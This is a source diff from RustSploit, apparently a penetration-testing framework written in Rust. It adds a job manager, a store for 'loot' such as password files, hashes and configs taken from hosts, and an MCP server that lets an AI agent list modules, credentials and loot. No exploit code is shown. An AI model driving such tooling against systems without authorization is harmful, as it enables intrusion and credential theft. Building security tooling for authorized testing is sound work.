if let Err(e) = self.event_tx.send(JobEvent::Started {
id,
module: evt_module,
target: evt_target,
}) {
tracing::debug!("No WS subscribers for job started event: {}", e);
}
Ok((id, progress))
}
pub fn kill(&self, id: u32) -> bool {
let handle_and_tx = {
let mut jobs = match self.jobs.write() {
Ok(j) => j,
Err(_) => return false,
};
let job = match jobs.get_mut(&id) {
Some(j) => j,
None => return false,
};
if let Err(e) = job.cancel_tx.send(true) {
crate::meprintln!("[!] Job cancel signal error: {}", e);
}
job.status = JobStatus::Cancelled;
if job.finished_at.is_none() {
job.finished_at = Some(std::time::Instant::now());
}
job.handle.take()
};
if let Some(handle) = handle_and_tx {
let abort_handle = handle.abort_handle();
tokio::spawn(async move {
tokio::time::sleep(std::time::Duration::from_secs(2)).await;
if !handle.is_finished() {
abort_handle.abort();
}
});
}
true
}
pub fn list(&self) -> Vec<(u32, String, String, String, String)> {
let mut result = Vec::new();
if let Ok(mut jobs) = self.jobs.write() {
let now = std::time::Instant::now();
for job in jobs.values_mut() {
if let Some(ref handle) = job.handle {
if handle.is_finished() && matches!(job.status, JobStatus::Running) {
job.status = JobStatus::Completed;
}
}
let terminal = matches!(
job.status,
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
if terminal && job.finished_at.is_none() {
job.finished_at = Some(now);
}
}
jobs.retain(|_, job| match job.finished_at {
None => true,
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
});
let mut ids: Vec<_> = jobs.keys().collect();
ids.sort();
for &id in &ids {
if let Some(job) = jobs.get(id) {
result.push((
*id,
job.module.clone(),
job.target.clone(),
job.started_at.format("%H:%M:%S").to_string(),
format!("{}", job.status),
));
}
}
}
result
}
pub fn get_detail(&self, id: u32) -> Option<(String, String, String, String, Arc<JobProgress>)> {
if let Ok(mut jobs) = self.jobs.write() {
if let Some(job) = jobs.get_mut(&id) {
if let Some(ref handle) = job.handle {
if handle.is_finished() && matches!(job.status, JobStatus::Running) {
job.status = JobStatus::Completed;
}
}
let terminal = matches!(
job.status,
JobStatus::Completed | JobStatus::Failed(_) | JobStatus::Cancelled
) || job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(false);
if terminal && job.finished_at.is_none() {
job.finished_at = Some(std::time::Instant::now());
}
return Some((
job.module.clone(),
job.target.clone(),
job.started_at.format("%H:%M:%S").to_string(),
format!("{}", job.status),
job.progress.clone(),
));
}
}
None
}
pub fn get_progress(&self, id: u32) -> Option<Arc<JobProgress>> {
self.jobs.read().ok().and_then(|jobs| {
jobs.get(&id).map(|j| j.progress.clone())
})
}
pub fn cleanup(&self) {
if let Ok(mut jobs) = self.jobs.write() {
let now = std::time::Instant::now();
for job in jobs.values_mut() {
let finished = job.handle.as_ref().map(|h| h.is_finished()).unwrap_or(true);
if finished && job.finished_at.is_none() {
job.finished_at = Some(now);
}
}
jobs.retain(|_, job| match job.finished_at {
None => true,
Some(at) => now.duration_since(at).as_secs() < FINISHED_JOB_RETENTION_SECS,
});
}
}
pub fn display(&self) {
let jobs = self.list();
if jobs.is_empty() {
crate::mprintln!("{}", "No active jobs.".dimmed());
return;
}
crate::mprintln!();
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
crate::mprintln!();
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
crate::mprintln!(" {}", "-".repeat(80).dimmed());
for (id, module, target, started, status) in &jobs {
let status_colored = if status == "Running" {
status.green().to_string()
} else if status == "Completed" {
status.cyan().to_string()
} else if status.starts_with("Failed") {
status.red().to_string()
} else {
status.yellow().to_string()
};
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
id, module, target, started, status_colored);
}
crate::mprintln!();
}
}
pub static JOB_MANAGER: Lazy<JobManager> = Lazy::new(JobManager::new);
+315
View File
@@ -0,0 +1,315 @@
use std::path::PathBuf;
use colored::*;
use once_cell::sync::Lazy;
use serde::{Deserialize, Serialize};
use tokio::sync::RwLock;
/// Metadata for a stored loot item.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct LootEntry {
pub id: String,
pub host: String,
pub loot_type: String,
pub filename: String,
pub description: String,
pub source_module: String,
pub timestamp: String,
}
/// Loot store backed by JSON index + file directory.
pub struct LootStore {
entries: RwLock<Vec<LootEntry>>,
index_path: PathBuf,
loot_dir: PathBuf,
}
impl LootStore {
fn new() -> Self {
let base = home::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".rustsploit");
let loot_dir = base.join("loot");
use std::os::unix::fs::DirBuilderExt;
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) {
eprintln!("[!] Failed to create loot directory {}: {}", loot_dir.display(), e);
}
let index_path = base.join("loot_index.json");
let entries = if index_path.exists() {
match std::fs::read_to_string(&index_path) {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
let backup = index_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&index_path, &backup) {
eprintln!("[!] Failed to backup corrupted loot index: {}", e);
}
Vec::new()
}
},
Err(e) => {
eprintln!("[!] Failed to read loot_index.json: {}", e);
Vec::new()
}
}
} else {
Vec::new()
};
Self {
entries: RwLock::new(entries),
index_path,
loot_dir,
}
}
/// Maximum loot file size (100 MB).
const MAX_LOOT_SIZE: usize = 100 * 1024 * 1024;
/// Store loot data and return the entry ID.
pub async fn add(
&self,
host: &str,
loot_type: &str,
description: &str,
data: &[u8],
source_module: &str,
) -> Option<String> {
// Validate size
if data.len() > Self::MAX_LOOT_SIZE {
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
return None;
}
// Validate inputs
if host.is_empty() || host.len() > 256 {
return None;
}
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
let ext = match loot_type {
"config" => "conf",
"password_file" => "txt",
"firmware" => "bin",
"hash" => "txt",
_ => "dat",
};
// Sanitize loot_type — only allow alphanumeric and underscore
let safe_type: String = loot_type.chars()
.filter(|c| c.is_alphanumeric() || *c == '_')
.take(64)
.collect();
let safe_type = if safe_type.is_empty() { "unknown".to_string() } else { safe_type };
let filename = format!("{}_{}.{}", id, safe_type, ext);
let file_path = self.loot_dir.join(&filename);
// Verify the resolved path is within loot_dir (prevent traversal)
if !file_path.starts_with(&self.loot_dir) {
eprintln!("[!] Loot path escapes loot directory");
return None;
}
{
let file = match tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.mode(0o600)
.open(&file_path)
.await
{
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to create loot file: {}", e);
return None;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, data).await {
eprintln!("[!] Failed to write loot data: {}", e);
return None;
}
}
let entry = LootEntry {
id: id.clone(),
host: host.to_string(),
loot_type: loot_type.to_string(),
filename,
description: description.to_string(),
source_module: source_module.to_string(),
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
};
let snapshot = {
let mut entries = self.entries.write().await;
entries.push(entry);
entries.clone()
};
self.save_locked(&snapshot).await;
Some(id)
}
/// Add loot from a string (convenience).
pub async fn add_text(
&self,
host: &str,
loot_type: &str,
description: &str,
text: &str,
source_module: &str,
) -> Option<String> {
self.add(host, loot_type, description, text.as_bytes(), source_module).await
}
/// List all loot entries.
pub async fn list(&self) -> Vec<LootEntry> {
self.entries.read().await.clone()
}
/// Search loot by host or type.
pub async fn search(&self, query: &str) -> Vec<LootEntry> {
let q = query.to_lowercase();
self.list().await.into_iter().filter(|e| {
e.host.to_lowercase().contains(&q)
|| e.loot_type.to_lowercase().contains(&q)
|| e.description.to_lowercase().contains(&q)
}).collect()
}
/// Delete a loot entry by ID. Also removes the loot file from disk.
pub async fn delete(&self, id: &str) -> bool {
let (removed, filename) = {
let mut entries = self.entries.write().await;
let before = entries.len();
let fname = entries.iter().find(|e| e.id == id).map(|e| e.filename.clone());
entries.retain(|e| e.id != id);
if entries.len() < before {
let snapshot = entries.clone();
drop(entries);
self.save_locked(&snapshot).await;
(true, fname)
} else {
(false, None)
}
};
if let Some(fname) = filename {
if let Some(path) = self.file_path(&fname) {
if let Err(e) = tokio::fs::remove_file(&path).await {
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
}
}
}
removed
}
/// Clear all loot entries and remove loot files from disk.
pub async fn clear(&self) {
let filenames: Vec<String> = {
let mut entries = self.entries.write().await;
let names: Vec<String> = entries.iter().map(|e| e.filename.clone()).collect();
entries.clear();
names
};
self.save_locked(&[]).await;
for fname in filenames {
if let Some(path) = self.file_path(&fname) {
if let Err(e) = tokio::fs::remove_file(&path).await {
eprintln!("[!] Failed to remove loot file {}: {}", path.display(), e);
}
}
}
}
/// Get the full path to a loot file.
/// Returns None if the filename contains path separators or traversal.
pub fn file_path(&self, filename: &str) -> Option<PathBuf> {
if filename.contains('/') || filename.contains('\\') || filename.contains("..") || filename.contains('\0') {
return None;
}
let path = self.loot_dir.join(filename);
if !path.starts_with(&self.loot_dir) {
return None;
}
Some(path)
}
/// Get the loot directory path.
pub fn loot_directory(&self) -> &PathBuf {
&self.loot_dir
}
async fn save_locked(&self, entries: &[LootEntry]) {
let tmp = self.index_path.with_extension("json.tmp");
let json = match serde_json::to_string_pretty(entries) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Failed to serialize loot index: {}", e);
return;
}
};
let file = match tokio::fs::OpenOptions::new()
.write(true)
.create(true)
.truncate(true)
.mode(0o600)
.open(&tmp)
.await
{
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to write loot index: {}", e);
return;
}
};
let mut file = file;
if let Err(e) = tokio::io::AsyncWriteExt::write_all(&mut file, json.as_bytes()).await {
eprintln!("[!] Failed to write loot index data: {}", e);
return;
}
if let Err(e) = tokio::fs::rename(&tmp, &self.index_path).await {
eprintln!("[!] Failed to rename loot index: {}", e);
}
}
/// Display loot table.
pub async fn display(&self) {
let entries = self.list().await;
if entries.is_empty() {
println!("{}", "No loot stored.".dimmed());
return;
}
println!();
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
println!();
println!(" {:<10} {:<18} {:<15} {:<30} {}",
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
println!(" {}", "-".repeat(90).dimmed());
for e in &entries {
let desc = if e.description.len() > 28 {
format!("{}...", &e.description[..25])
} else {
e.description.clone()
};
println!(" {:<10} {:<18} {:<15} {:<30} {}",
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
}
println!();
}
}
pub static LOOT_STORE: Lazy<LootStore> = Lazy::new(LootStore::new);
/// Convenience function for modules to store loot.
pub async fn store_loot(
host: &str,
loot_type: &str,
description: &str,
data: &[u8],
source_module: &str,
) -> Option<String> {
LOOT_STORE.add(host, loot_type, description, data, source_module).await
}
+178 -30
View File
@@ -1,46 +1,194 @@
use anyhow::{Context, Result};
use clap::Parser;
use std::net::SocketAddr;
use std::process;
use anyhow::{anyhow, Context, Result};
use clap::Parser;
use colored::*;
use tracing_subscriber::EnvFilter;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
mod api;
mod cli;
mod commands;
mod config;
mod context;
mod modules;
mod native;
mod shell;
mod utils;
pub mod cred_store;
pub mod export;
pub mod global_options;
pub mod jobs;
pub mod loot;
pub mod mcp;
pub mod module_info;
pub mod output;
pub mod pq_channel;
pub mod pq_middleware;
pub mod spool;
pub mod workspace;
pub mod ws;
/// Maximum length for interface/bind address
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Validates the bind address format
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
if trimmed.is_empty() {
return Err(anyhow!("Bind address cannot be empty"));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
return Err(anyhow!("Bind address too long (max {} characters)", MAX_BIND_ADDRESS_LENGTH));
}
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Bind address cannot contain control characters"));
}
let with_port = if trimmed.contains(':') {
trimmed.to_string()
} else {
format!("{}:8080", trimmed)
};
with_port
.parse::<SocketAddr>()
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
Ok(with_port)
}
/// Returns the path to the PQ host key file.
fn pq_host_key_path(custom: Option<&str>) -> std::path::PathBuf {
if let Some(p) = custom {
std::path::PathBuf::from(p)
} else {
home::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".rustsploit")
.join("pq_host_key")
}
}
/// Returns the path to the PQ authorized keys file.
fn pq_authorized_keys_path(custom: Option<&str>) -> std::path::PathBuf {
if let Some(p) = custom {
std::path::PathBuf::from(p)
} else {
home::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".rustsploit")
.join("pq_authorized_keys")
}
}
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
async fn main() {
if let Err(e) = run().await {
eprintln!("{} {}", "".red(), e);
process::exit(1);
}
}
async fn run() -> Result<()> {
// Initialize structured logging
let filter = if std::env::var("RUST_LOG").is_ok() {
EnvFilter::from_default_env()
} else {
EnvFilter::new("warn")
};
tracing_subscriber::fmt()
.with_env_filter(filter)
.with_target(false)
.init();
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// If interface already contains a port (has ':'), use it as-is, otherwise add default port
let bind_address = if interface.contains(':') {
interface
} else {
format!("{}:8080", interface)
};
let harden = cli_args.harden;
let ip_limit = cli_args.ip_limit.unwrap_or(10);
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
tracing::debug!("CLI arguments parsed successfully");
// Handle list_modules flag
if cli_args.list_modules {
tracing::debug!("Listing all modules...");
utils::list_all_modules();
return Ok(());
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
// API server mode — PQ-encrypted, no TLS, no API keys
if cli_args.api {
let host_key_path = pq_host_key_path(cli_args.pq_host_key.as_deref());
let auth_keys_path = pq_authorized_keys_path(cli_args.pq_authorized_keys.as_deref());
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
let bind_address = validate_bind_address(&interface).context("Invalid bind address")?;
tracing::debug!("Starting PQ-encrypted API server on {}...", bind_address);
api::start_api_server(
&bind_address,
cli_args.verbose,
&host_key_path,
&auth_keys_path,
)
.await?;
return Ok(());
}
// MCP server mode
if cli_args.mcp {
tracing::debug!("Starting MCP server on stdio...");
mcp::run_mcp_server().await?;
return Ok(());
}
// Validate target if provided
if let Some(ref target) = cli_args.target {
if let Err(e) = utils::normalize_target(target) {
return Err(anyhow!("Invalid target '{}': {}", target, e));
}
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
tracing::debug!("Setting global target to: {}", target);
config::GLOBAL_CONFIG.set_target(target)?;
println!("{} Global target set to: {}", "".green(), target);
}
// Handle subcommands from CLI
if let Some(cmd) = &cli_args.command {
tracing::debug!("Executing subcommand: {}", cmd);
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
// Run module directly if both -m and -t are provided
else if let Some(ref module) = cli_args.module {
if let Some(ref target) = cli_args.target {
tracing::debug!("Running module '{}' against '{}'", module, target);
commands::run_module(module, target, cli_args.verbose).await?;
} else if config::GLOBAL_CONFIG.has_target() {
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
tracing::debug!("Running module '{}' against global target '{}'", module, target);
commands::run_module(module, &target, cli_args.verbose).await?;
} else {
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
tracing::debug!("Launching interactive shell...");
if let Some(ref rc) = cli_args.resource {
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
} else {
shell::interactive_shell(cli_args.verbose).await?;
}
}
}
// Launch interactive shell
else {
shell::interactive_shell().await?;
tracing::debug!("Launching interactive shell...");
if let Some(ref rc) = cli_args.resource {
shell::interactive_shell_with_resource(cli_args.verbose, Some(rc)).await?;
} else {
shell::interactive_shell(cli_args.verbose).await?;
}
}
Ok(())
+219
View File
@@ -0,0 +1,219 @@
use std::process::Stdio;
use anyhow::{Context, Result};
use serde_json::{json, Value};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
use tokio::process::{Child, ChildStdin, ChildStdout, Command};
/// MCP client that communicates with an external MCP server over stdio JSON-RPC.
pub struct McpClient {
child: Child,
stdin: ChildStdin,
stdout: BufReader<ChildStdout>,
next_id: u64,
}
impl McpClient {
/// Spawn an MCP server subprocess and prepare for JSON-RPC communication.
pub async fn connect(command: &str, args: &[&str]) -> Result<Self> {
let mut child = Command::new(command)
.args(args)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.spawn()
.with_context(|| format!("Failed to spawn MCP server: {} {:?}", command, args))?;
let stdin = child
.stdin
.take()
.context("Failed to capture child stdin")?;
let stdout_raw = child
.stdout
.take()
.context("Failed to capture child stdout")?;
let stdout = BufReader::new(stdout_raw);
Ok(Self {
child,
stdin,
stdout,
next_id: 1,
})
}
/// Send the `initialize` handshake and return the server capabilities.
pub async fn initialize(&mut self) -> Result<Value> {
let id = self.next_id();
send_request(
&mut self.stdin,
&mut self.stdout,
id,
"initialize",
Some(json!({
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {
"name": "rustsploit-mcp-client",
"version": env!("CARGO_PKG_VERSION")
}
})),
)
.await
}
/// List all tools offered by the remote server.
pub async fn list_tools(&mut self) -> Result<Vec<Value>> {
let id = self.next_id();
let result = send_request(&mut self.stdin, &mut self.stdout, id, "tools/list", None).await?;
let tools = result
.get("tools")
.and_then(|v| v.as_array())
.cloned()
.unwrap_or_default();
Ok(tools)
}
/// Call a tool on the remote server (30s timeout).
pub async fn call_tool(&mut self, name: &str, args: Value) -> Result<Value> {
let id = self.next_id();
tokio::time::timeout(
std::time::Duration::from_secs(30),
send_request(
&mut self.stdin,
&mut self.stdout,
id,
"tools/call",
Some(json!({
"name": name,
"arguments": args
})),
),
)
.await
.context("MCP tool call timed out after 30s")?
}
/// List all resources offered by the remote server.
pub async fn list_resources(&mut self) -> Result<Vec<Value>> {
let id = self.next_id();
let result =
send_request(&mut self.stdin, &mut self.stdout, id, "resources/list", None).await?;
let resources = result
.get("resources")
.and_then(|v| v.as_array())
.cloned()
.unwrap_or_default();
Ok(resources)
}
/// Read a resource by URI from the remote server.
pub async fn read_resource(&mut self, uri: &str) -> Result<Value> {
let id = self.next_id();
send_request(
&mut self.stdin,
&mut self.stdout,
id,
"resources/read",
Some(json!({ "uri": uri })),
)
.await
}
/// Shut down the MCP server subprocess gracefully.
pub async fn close(mut self) -> Result<()> {
drop(self.stdin);
match tokio::time::timeout(std::time::Duration::from_secs(5), self.child.wait()).await {
Ok(Ok(_)) => return Ok(()),
Ok(Err(e)) => {
eprintln!("[!] MCP server wait error: {}", e);
}
Err(_) => {
eprintln!("[!] MCP server did not exit within 5s, killing");
}
}
if let Err(e) = self.child.kill().await {
eprintln!("[!] Failed to kill MCP server: {}", e);
}
Ok(())
}
fn next_id(&mut self) -> u64 {
let id = self.next_id;
self.next_id += 1;
id
}
}
/// Send a JSON-RPC 2.0 request and read the response.
async fn send_request(
stdin: &mut ChildStdin,
stdout: &mut BufReader<ChildStdout>,
id: u64,
method: &str,
params: Option<Value>,
) -> Result<Value> {
// Build the JSON-RPC request object
let mut request = json!({
"jsonrpc": "2.0",
"id": id,
"method": method,
});
if let Some(p) = params {
if let Some(obj) = request.as_object_mut() {
obj.insert("params".to_string(), p);
}
}
// Serialize and send as a single line
let line = serde_json::to_string(&request).context("Failed to serialize JSON-RPC request")?;
stdin
.write_all(line.as_bytes())
.await
.context("Failed to write to child stdin")?;
stdin
.write_all(b"\n")
.await
.context("Failed to write newline")?;
stdin.flush().await.context("Failed to flush child stdin")?;
// Read response lines until we get one with a matching id.
// Servers may emit notifications (no id) interleaved with responses.
let mut buf = String::new();
loop {
buf.clear();
let n = stdout
.read_line(&mut buf)
.await
.context("Failed to read from child stdout")?;
if n == 0 {
anyhow::bail!("MCP server closed stdout before responding to request {}", id);
}
let trimmed = buf.trim();
if trimmed.is_empty() {
continue;
}
let response: Value =
serde_json::from_str(trimmed).context("Failed to parse JSON-RPC response")?;
// Check if this is a response (has "id") matching our request
if let Some(resp_id) = response.get("id") {
if resp_id.as_u64() == Some(id) {
// Check for error
if let Some(error) = response.get("error") {
let msg = error
.get("message")
.and_then(|v| v.as_str())
.unwrap_or("Unknown error");
let code = error.get("code").and_then(|v| v.as_i64()).unwrap_or(-1);
anyhow::bail!("MCP server error (code {}): {}", code, msg);
}
// Return the result field
return Ok(response.get("result").cloned().unwrap_or(Value::Null));
}
}
// Not our response (notification or different id) -- skip and keep reading
}
}
+7
View File
@@ -0,0 +1,7 @@
pub mod client;
pub mod resources;
pub mod server;
pub mod tools;
pub mod types;
pub use server::run_mcp_server;
+249
View File
@@ -0,0 +1,249 @@
use serde_json::json;
use super::types::{Resource, ResourceContent};
/// Return the list of all resources exposed by this MCP server.
pub fn all_resources() -> Vec<Resource> {
vec![
Resource {
uri: "rustsploit:///modules".into(),
name: "Module Catalog".into(),
description: "Full list of available modules with info() metadata where available".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///workspace".into(),
name: "Current Workspace".into(),
description: "Current workspace data including tracked hosts and services".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///credentials".into(),
name: "Credentials".into(),
description: "Credential list with secrets redacted (first 3 chars + ***)".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///loot".into(),
name: "Loot Catalog".into(),
description: "Loot entry metadata (no file content, just index data)".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///options".into(),
name: "Global Options".into(),
description: "Persistent global options (setg key-value pairs)".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///target".into(),
name: "Current Target".into(),
description: "Current global target, size, and subnet status".into(),
mime_type: "application/json".into(),
},
Resource {
uri: "rustsploit:///status".into(),
name: "Framework Status".into(),
description: "Summary: module count, workspace name, host count, credential count, loot count".into(),
mime_type: "application/json".into(),
},
]
}
/// Read a resource by URI.
pub async fn read_resource(uri: &str) -> ResourceContent {
match uri {
"rustsploit:///modules" => read_modules().await,
"rustsploit:///workspace" => read_workspace().await,
"rustsploit:///credentials" => read_credentials().await,
"rustsploit:///loot" => read_loot().await,
"rustsploit:///options" => read_options().await,
"rustsploit:///target" => read_target(),
"rustsploit:///status" => read_status().await,
_ => ResourceContent {
uri: uri.to_string(),
mime_type: "text/plain".into(),
text: format!("Unknown resource: {}", uri),
},
}
}
// ===========================================================================
// Individual resource readers
// ===========================================================================
async fn read_modules() -> ResourceContent {
let modules = crate::commands::discover_modules();
// Build a catalog entry for each module, including info() metadata when available
let catalog: Vec<serde_json::Value> = modules
.iter()
.map(|path| {
let info = crate::commands::module_info(path);
match info {
Some(i) => json!({
"path": path,
"name": i.name,
"description": i.description,
"authors": i.authors,
"references": i.references,
"disclosure_date": i.disclosure_date,
"rank": format!("{}", i.rank),
}),
None => json!({
"path": path,
}),
}
})
.collect();
let text = serde_json::to_string_pretty(&catalog).unwrap_or_else(|_| "[]".into());
ResourceContent {
uri: "rustsploit:///modules".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_workspace() -> ResourceContent {
let name = crate::workspace::WORKSPACE.current_name().await;
let data = crate::workspace::WORKSPACE.get_data().await;
let text = serde_json::to_string_pretty(&json!({
"workspace": name,
"hosts": data.hosts,
"services": data.services,
}))
.unwrap_or_else(|_| "{}".into());
ResourceContent {
uri: "rustsploit:///workspace".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_credentials() -> ResourceContent {
let creds = crate::cred_store::CRED_STORE.list().await;
// Redact secrets: show first 3 characters then ***
let redacted: Vec<serde_json::Value> = creds
.iter()
.map(|c| {
let redacted_secret = if c.secret.len() > 3 {
format!("{}***", &c.secret[..3])
} else {
"***".into()
};
json!({
"id": c.id,
"host": c.host,
"port": c.port,
"service": c.service,
"username": c.username,
"secret": redacted_secret,
"cred_type": format!("{}", c.cred_type),
"source_module": c.source_module,
"timestamp": c.timestamp,
"valid": c.valid,
})
})
.collect();
let text = serde_json::to_string_pretty(&redacted).unwrap_or_else(|_| "[]".into());
ResourceContent {
uri: "rustsploit:///credentials".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_loot() -> ResourceContent {
let loot = crate::loot::LOOT_STORE.list().await;
// Return metadata only (no file content)
let entries: Vec<serde_json::Value> = loot
.iter()
.map(|l| {
json!({
"id": l.id,
"host": l.host,
"loot_type": l.loot_type,
"filename": l.filename,
"description": l.description,
"source_module": l.source_module,
"timestamp": l.timestamp,
})
})
.collect();
let text = serde_json::to_string_pretty(&entries).unwrap_or_else(|_| "[]".into());
ResourceContent {
uri: "rustsploit:///loot".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_options() -> ResourceContent {
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
let text = serde_json::to_string_pretty(&opts).unwrap_or_else(|_| "{}".into());
ResourceContent {
uri: "rustsploit:///options".into(),
mime_type: "application/json".into(),
text,
}
}
fn read_target() -> ResourceContent {
let target = crate::config::GLOBAL_CONFIG.get_target();
let size = crate::config::GLOBAL_CONFIG.get_target_size();
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
let text = serde_json::to_string_pretty(&json!({
"target": target,
"size": size,
"is_subnet": is_subnet,
}))
.unwrap_or_else(|_| "{}".into());
ResourceContent {
uri: "rustsploit:///target".into(),
mime_type: "application/json".into(),
text,
}
}
async fn read_status() -> ResourceContent {
// Use get_data() for a single lock acquisition instead of separate hosts()/services() calls
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
let ws_data = crate::workspace::WORKSPACE.get_data().await;
let cred_count = crate::cred_store::CRED_STORE.list().await.len();
let loot_count = crate::loot::LOOT_STORE.list().await.len();
let module_count = crate::commands::discover_modules().len();
let target = crate::config::GLOBAL_CONFIG.get_target();
let job_count = crate::jobs::JOB_MANAGER.list().len();
let text = serde_json::to_string_pretty(&json!({
"module_count": module_count,
"workspace": workspace_name,
"host_count": ws_data.hosts.len(),
"service_count": ws_data.services.len(),
"credential_count": cred_count,
"loot_count": loot_count,
"active_jobs": job_count,
"target": target,
}))
.unwrap_or_else(|_| "{}".into());
ResourceContent {
uri: "rustsploit:///status".into(),
mime_type: "application/json".into(),
text,
}
}
+275
View File
@@ -0,0 +1,275 @@
use anyhow::Context;
use serde_json::Value;
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
use super::types::{
InitializeResult, JsonRpcRequest, JsonRpcResponse, ResourcesCapability, ServerCapabilities,
ServerInfo, ToolsCapability,
};
// You can place this function in src/mcp/server.rs or a shared utility module
fn errno() -> i32 {
unsafe {
#[cfg(any(target_os = "freebsd", target_os = "macos"))]
{ *libc::__error() }
#[cfg(target_os = "linux")]
{ *libc::__errno_location() }
// Add fallbacks for other OSes if needed
#[cfg(not(any(target_os = "freebsd", target_os = "macos", target_os = "linux")))]
{ 0 } // Or compile_error! to force checking for a new OS
}
}
fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
use std::os::fd::FromRawFd;
unsafe {
let saved_fd = libc::dup(1);
if saved_fd < 0 {
anyhow::bail!("dup(1) failed: errno {}", errno());
}
let null_path = b"/dev/null\0";
let null_fd = libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY);
if null_fd < 0 {
libc::close(saved_fd);
anyhow::bail!("open(/dev/null) failed: errno {}", errno());
}
if libc::dup2(null_fd, 1) < 0 {
libc::close(null_fd);
libc::close(saved_fd);
anyhow::bail!("dup2(null, 1) failed: errno {}", errno());
}
libc::close(null_fd);
let std_file = std::fs::File::from_raw_fd(saved_fd);
Ok(tokio::fs::File::from_std(std_file))
}
}
/// Run the MCP server over newline-delimited JSON on stdio.
///
/// * **stdin** — reads one JSON-RPC 2.0 request per line.
/// * **stdout** — writes one JSON-RPC 2.0 response per line.
/// * **stderr** — diagnostic logging (stdout is the protocol channel).
pub async fn run_mcp_server() -> anyhow::Result<()> {
let mut protocol_out = isolate_protocol_stdout()
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
let stdin = tokio::io::stdin();
let mut reader = BufReader::new(stdin);
let mut line_buf: Vec<u8> = Vec::new();
const MAX_LINE_BYTES: usize = 1024 * 1024;
eprintln!("[MCP] RustSploit MCP server started (stdio transport)");
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
loop {
line_buf.clear();
let n = (&mut reader)
.take(MAX_LINE_BYTES as u64 + 1)
.read_until(b'\n', &mut line_buf)
.await
.context("failed to read from stdin")?;
if n == 0 {
eprintln!("[MCP] stdin closed, shutting down");
break;
}
if line_buf.len() > MAX_LINE_BYTES {
eprintln!(
"[MCP] line exceeded {} bytes without newline — rejecting and closing",
MAX_LINE_BYTES
);
let resp = JsonRpcResponse::error(
None,
-32600,
format!("Request exceeds {} byte line limit", MAX_LINE_BYTES),
);
write_response(&mut protocol_out, &resp).await?;
break;
}
let line = match std::str::from_utf8(&line_buf) {
Ok(s) => s,
Err(e) => {
eprintln!("[MCP] non-UTF-8 input on stdin: {}", e);
let resp = JsonRpcResponse::error(
None,
-32700,
format!("Parse error: input is not valid UTF-8: {}", e),
);
